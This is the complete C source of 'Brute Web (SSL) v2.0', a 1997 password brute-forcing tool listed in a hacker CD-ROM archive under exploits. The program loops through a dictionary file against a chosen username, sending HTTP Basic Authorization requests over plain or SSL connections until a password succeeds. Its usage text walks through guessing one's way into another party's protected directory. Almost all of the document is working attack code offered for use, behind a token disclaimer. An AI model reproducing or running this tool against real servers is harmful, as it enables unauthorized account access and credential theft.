home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
Power Hacker 2003
/
Power_Hacker_2003.iso
/
Exploit and vulnerability
/
hoobie
/
brute_ssl.c
< prev
next >
Wrap
C/C++ Source or Header
|
2001-11-06
|
14KB
|
606 lines
/*
*
* Brute Web (SSL) v2.0
* Coded by BeastMaster V
* September 13,1997
*
* [NOTES]
* This program was written to illustrate what I see as
* a weakness with HTTP Basic Authorization. The HTTP protocol
* let's you get away with making as many guesses as you
* wish to make when it comes to Basic Authorization. This
* program will connect to a regular or secure web server and
* try multiple username/password combinations until it finds
* the right one and prints out what the username and password
* was for the protected realm. I have only tested this on
* Linux, so you might have to do a little porting to get it
* to work on other platforms. It should be simple though.
*
* [HOWTO]
* To get up and running, you will first need to ftp the SSLeay
* libraries from ftp://ftp.psy.uq.oz.au/pub/Crypto/SSL/
* This was written to work with SSLeay-0.8.0. Now after you
* get this compiled and installed, you can build this program
* with a command like:
* cc -o brute_ssl -I/usr/local/ssl/include brute_ssl.c \
* -L/usr/local/ssl/lib -lssl -lcrypto
* Run the binary without any arguments to see the parameters
* that the program takes.
*
* [COMMENTS]
* All comments, gripes, flames, etc. should be sent to
* bryan@scott.net
*
* [DISCLAIMER]
* I am not responsible for anything you do with this,
* so please use this program in a responsible manner.
*
* [WARNING]
* If the webserver you are using this on does logging, then
* it will be quite obvious that you are attacking.
*
*/
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdarg.h>
#include <sys/types.h>
#include <sys/time.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <rsa.h>
#include <crypto.h>
#include <x509.h>
#include <pem.h>
#include <ssl.h>
#include <err.h>
extern int errno, h_errno;
#define SPACELEFT(buf,ptr) (sizeof buf-((ptr)-buf))
#define newstr(s) strcpy(malloc(strlen(s)+1),s)
#define HTTPD_UNAUTHORIZED 401
#define FL __FILE__,__LINE__
#define MAXDICTWORD 64
#define MAXNAMEPASSLEN 128
#define MAXENCODEDSTRING 256
#define MAXSENDSTRING 300
#define HAS_DICTIONARY 0x0001
#define HAS_USERNAME 0x0002
#define HAS_PORTNUMBER 0x0004
#define HAS_HOSTNAME 0x0008
#define HAS_VERBOSE 0x0010
#define HAS_SSL_OPT 0x0020
#define HAS_REALM 0x0040
#define HAS_DONE_IT 0x0080
#if SSLEAY_VERSION_NUMBER >= 0x0800
#define SSLEAY8
#endif
char alphabet[]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
char *prg_nme;
int mask;
struct BASE64_PARAMS
{
unsigned long int accum;
int shift;
int save_shift;
};
/* BeastMaster V's error logging function */
void proc_err(char *func,char *file,int line,const char *fmt, ...)
{
va_list args;
if (prg_nme!=NULL)
fprintf(stderr,"[%s]", prg_nme);
va_start(args, fmt);
fprintf(stderr," %s() ",func);
fprintf(stderr,"<file:%s line:%d> : ",file,line);
vfprintf(stderr, fmt, args);
fputc('\n', stderr);
fflush(stderr);
va_end(args);
}
/* an implementation of signal() based on sigaction() */
void (*r_signal(int sig,void(*func)())) (int)
{
struct sigaction act, oact;
act.sa_handler = func;
sigemptyset(&act.sa_mask);
act.sa_flags = 0;
#ifdef SA_RESTART
act.sa_flags |= SA_RESTART;
#endif
if (sigaction(sig, &act, &oact) < 0)
return (SIG_ERR);
return (oact.sa_handler);
}
/* function to read into a buffer over an SSL connection */
int SSL_readln(SSL *ssl_con, char *buf, int buf_size)
{
int i=0,done=0,w;
char tmp[1];
*(buf+0)='\0';
while (!done)
{
if (i==(buf_size-1))
break;
w=SSL_read(ssl_con,tmp,1);
if (w<0)
return -1;
if (w==0) return 0;
if (tmp[0]!=0)
*(buf+i)=tmp[0];
if (*(buf+i)=='\n')
done=1;
i++;
}
*(buf+i)='\0';
return(i);
}
/* read from socket into a buffer until sizeof(buffer) or newline */
int socket_readln(int s,char *buf,short len)
{
int i=0, w;
char tmp[1];
short done=0;
while (!done) {
if (i==len)
break;
w=read(s ,tmp, 1);
if (w==0) return 0;
if (tmp[0] != 0) {
*(buf+i) = tmp[0];
}
if (tmp[0]=='\n') {
done = 1;
}
i++;
}
*(buf+i)='\0';
return (i);
}
/* base64 encode an arbitrary string */
int base64_encode(int quit,struct BASE64_PARAMS *e_p,char *string_to_encode,char *buf_64)
{
int index;
unsigned long int value;
unsigned char blivit;
int z=0;
index = 0;
while((*(string_to_encode+z))||(e_p->shift!=0))
{
if ((*(string_to_encode+z))&&(quit==0))
{
blivit = *(string_to_encode +z);
z++;
if (*(string_to_encode+z)==0)
{
quit = 1;
e_p->save_shift=e_p->shift;
blivit=0;
}
}
else
{
quit=1;
e_p->save_shift=e_p->shift;
blivit=0;
}
if ((quit==0)||(e_p->shift!= 0))
{
value=(unsigned long)blivit;
e_p->accum <<= 8;
e_p->shift += 8;
e_p->accum |= value;
}
while (e_p->shift >= 6)
{
e_p->shift -= 6;
value = (e_p->accum >> e_p->shift) & 0x3Fl;
blivit = alphabet[value];
*(buf_64+(index++)) = blivit;
if (index >= 60)
{
*(buf_64+index)='\0';
index = 0;
}
if ( quit != 0 )
e_p->shift = 0;
}
}
if (e_p->save_shift==2)
{
*(buf_64+(index++))='=';
if (index>=60)
{
*(buf_64+index)='\0';
index=0;
}
*(buf_64+(index++))='=';
if (index>=60 )
{
*(buf_64+index)='\0';
index=0;
}
}
else if (e_p->save_shift==4)
{
*(buf_64+(index++))='=';
if (index>=60)
{
*(buf_64+index)='\0';
index=0;
}
}
if (index!=0)
*(buf_64+index)='\0';
return quit;
}
/* takes string to encode and a user supplied buffer as parameters */
void encode_string (char *name_pass,char *buf_64)
{
struct BASE64_PARAMS e_p;
int quit=0;
register int i;
char s[MAXNAMEPASSLEN+3];
e_p.shift = 0;
e_p.accum = 0;
sprintf(s,"%s%c",name_pass,*(name_pass+strlen(name_pass)-1));
base64_encode(quit, &e_p, s,buf_64);
return;
}
/* check the web server's HTTP response headers */
short check_response (char *response)
{
short ScanCount;
int httpd_code;
short version;
ScanCount=sscanf(response,"HTTP/1.%d %d",&version,&httpd_code);
if (ScanCount!=2)
return 0;
if (httpd_code==HTTPD_UNAUTHORIZED)
return 0;
else
return 1;
}
/* reads a line from a file */
short read_line(FILE *fp, char *buf)
{
int c;
short done=0;
short i=0;
while (!done)
{
c=fgetc(fp);
if (c==EOF)
return 0;
if (c=='\n')
{
done=1;
break;
}
if (c)
*(buf+i)=c;
i++;
}
*(buf+i)='\0';
return i;
}
void terminate (int sig)
{
proc_err("terminate",FL,"[%s] has caught %d (%s)",
prg_nme,sig,(sig==SIGINT)?"SIGINT":"SIGSEGV");
exit(EXIT_FAILURE);
}
/* creates a TCP socket and connects it to a peer */
int make_socket(char *in_host,unsigned short port_num)
{
int sd, err;
struct hostent *hp=NULL;
struct sockaddr_in sa;
sd=socket(AF_INET, SOCK_STREAM, 0);
if (sd==-1)
{
proc_err("make_socket",FL,"Could not create socket->%s",strerror(errno));
exit(EXIT_FAILURE);
}
hp=gethostbyname(in_host);
if (!hp)
{
if (h_errno==HOST_NOT_FOUND)
proc_err("make_socket",FL,"Could not resolv [%s]->Host not Found",in_host);
else
proc_err("make_socket",FL,"Cound not resolv [%s]->DNS error",in_host);
exit(EXIT_FAILURE);
}
bzero(&sa,sizeof(sa));
sa.sin_family=hp->h_addrtype;
bcopy(hp->h_addr,(char *)&sa.sin_addr,hp->h_length);
sa.sin_port=htons(port_num);
err=connect(sd, (struct sockaddr *)&sa,sizeof(sa));
if (err==-1)
{
proc_err("make_socket",FL,"connect() call failed->%s",strerror(errno));
exit(EXIT_FAILURE);
}
return sd;
}
/* prints the program usage */
void print_usage()
{
int x;
char messages[][255] =
{
"\n\t'%s [options]'\n\n",
"Options:\n",
"\t-v <optional> verbose mode (print responses to stdout)\n",
"\t-z <optional> SSL flag (use this for secure servers)\n",
"\t-d dictionary file (full path to dictionary file)\n",
"\t-u username (a user on the target webserver)\n",
"\t-h hostname (host running the webserver)\n",
"\t-p portnumber (port that the webserver runs on)\n",
"\t-r realm (the full path to the protected realm)\n\n",
"Example:\n",
"\tSay everytime I type https://www.somewhere.com/protected\n",
"\tinto netscape, a box pops up and asks me to enter in a\n",
"\tUser ID and password. Well, I have no idea what User ID\n",
"\tor password to enter in, so I'll try to 'guess' my way in.\n",
"\tI have a dictionary file in /tmp/dict.txt. Next I'll guess\n",
"\ta username of \"foo\". Now I can type a command like:\n",
"\n",
" %s -z -d /tmp/dict.txt -u foo -h www.somewhere.com -p 443 -r /protected\n",
"\n",
"\tNow with any luck I'll eventually see a username and password.\n",
"\ti.e: ----USERNAME=foo PASSWORD=foopass----\n\n",
"\0"
};
fprintf(stderr,"\n-- Brute Web (SSL) v2.0 --\n");
for(x=0; *messages[x]!='\0';x++)
fprintf(stderr, messages[x], prg_nme);
}
/* brute_ssl */
int main (unsigned int argc,char **argv, char **envp)
{
int err=0, sd,in_port=0, try=0;
char c, *export_buf=NULL;
SSL *ssl_con=NULL;
SSL_CTX *ssl_ctx=NULL;
unsigned long ssl_err;
FILE *dict_fd=NULL;
char *dict_name=NULL,*in_host=NULL;
char *user=NULL,*realm=NULL, *dict_word=NULL;
char *name_pass_buf=NULL, *encoded_buf=NULL;
char *p_title=NULL;
if ((prg_nme=strrchr(argv[0],'/')))
++prg_nme;
else
prg_nme=argv[0];
mask=0;
while((c=getopt(argc,argv,"vzd:u:h:p:r:"))!=EOF)
{
switch(c)
{
case 'v':
mask|=HAS_VERBOSE;
break;
case 'z':
mask|=HAS_SSL_OPT;
break;
case 'd':
dict_name=optarg;
mask|=HAS_DICTIONARY;
break;
case 'u':
user=optarg;
mask|=HAS_USERNAME;
break;
case 'h':
in_host=optarg;
mask|=HAS_HOSTNAME;
break;
case 'p':
in_port=atoi(optarg);
if (!in_port)
err++;
mask|=HAS_PORTNUMBER;
break;
case 'r':
realm=optarg;
mask|=HAS_REALM;
break;
case '?':
err++;
}
}
if ((optind<argc)||err)
{
print_usage();
exit(EXIT_FAILURE);
}
if ((!(mask&HAS_HOSTNAME))||(!(mask&HAS_PORTNUMBER))||
(!(mask&HAS_USERNAME))||(!(mask&HAS_DICTIONARY))||(!(mask&HAS_REALM)))
{
print_usage();
exit(EXIT_FAILURE);
}
r_signal(SIGPIPE,SIG_IGN);
r_signal(SIGINT,terminate);
r_signal(SIGSEGV,terminate);
dict_word=(char *)malloc(MAXDICTWORD);
if (!dict_word)
{
proc_err("main",FL,"Call to malloc() failed->%s",strerror(errno));
exit(EXIT_FAILURE);
}
name_pass_buf=(char *)malloc(MAXNAMEPASSLEN);
if (!name_pass_buf)
{
proc_err("main",FL,"Call to malloc() failed->%s",strerror(errno));
exit(EXIT_FAILURE);
}
encoded_buf=(char *)malloc(MAXENCODEDSTRING);
if (!encoded_buf)
{
proc_err("main",FL,"Call to malloc() failed->%s",strerror(errno));
exit(EXIT_FAILURE);
}
export_buf=(char *)malloc(MAXSENDSTRING);
if (!export_buf)
{
proc_err("main",FL,"Call to malloc() failed->%s",strerror(errno));
exit(EXIT_FAILURE);
}
dict_fd=fopen(dict_name,"r");
if (dict_fd==NULL)
{
proc_err("main",FL,"Could not open dictionary file->%s",strerror(errno));
exit(EXIT_FAILURE);
}
if (mask & HAS_SSL_OPT)
{
SSLeay_add_ssl_algorithms();
SSL_load_error_strings();
ssl_ctx = SSL_CTX_new(SSLv2_client_method());
if (!ssl_ctx)
{
proc_err("main",FL,"Call to SSL_CTX_new return a NULL");
exit(EXIT_FAILURE);
}
}
while (read_line(dict_fd,dict_word))
{
sd=make_socket(in_host,in_port);
if (mask & HAS_SSL_OPT)
{
ssl_con=SSL_new(ssl_ctx);
if (!ssl_con)
{
proc_err("main",FL,"SSL_new() returned NULL.");
exit(EXIT_FAILURE);
}
SSL_set_fd (ssl_con, sd);
ssl_err=SSL_connect(ssl_con);
if (ssl_err<=0)
{
ssl_err=ERR_get_error();
proc_err("main",FL,"SSL_connect() failed->%s\n", ERR_error_string(ssl_err,export_buf));
exit(EXIT_FAILURE);
}
}
sprintf(name_pass_buf,"%s:%s",user,dict_word);
encode_string(name_pass_buf,encoded_buf);
sprintf(export_buf,"GET %s HTTP/1.0\nAuthorization: Basic %s\n\n",realm, encoded_buf);
try++;
if (mask & HAS_SSL_OPT)
{
SSL_write(ssl_con,export_buf,strlen(export_buf));
SSL_readln(ssl_con,export_buf,MAXSENDSTRING-1);
if (mask & HAS_VERBOSE)
fprintf(stdout,"\n==[Pass # %d]============\n%s",try, export_buf);
}
else
{
write(sd,export_buf,strlen(export_buf));
socket_readln(sd,export_buf,MAXSENDSTRING-1);
if (mask & HAS_VERBOSE)
fprintf(stdout,"\n==[Pass # %d]============\n%s",try, export_buf);
}
if (check_response(export_buf))
{
mask |=HAS_DONE_IT;
break;
}
if (mask & HAS_VERBOSE)
{
if (mask & HAS_SSL_OPT)
{
while(SSL_readln(ssl_con,export_buf,MAXSENDSTRING-1))
fprintf(stdout,"%s",export_buf);
}
else
{
while(socket_readln(sd,export_buf,MAXSENDSTRING-1))
fprintf(stdout,"%s",export_buf);
}
}
close(sd);
if (mask & HAS_SSL_OPT)
SSL_free(ssl_con);
}
if (mask & HAS_DONE_IT)
fprintf(stdout,"\n\n\t----USERNAME=%s PASSWORD=%s----\n\n",user,dict_word);
else
fprintf(stdout,"\n\n\t----Sorry, but I could not get in.----\n");
free(dict_word);
free(name_pass_buf);
free(export_buf);
if (mask & HAS_SSL_OPT)
SSL_CTX_free(ssl_ctx);
}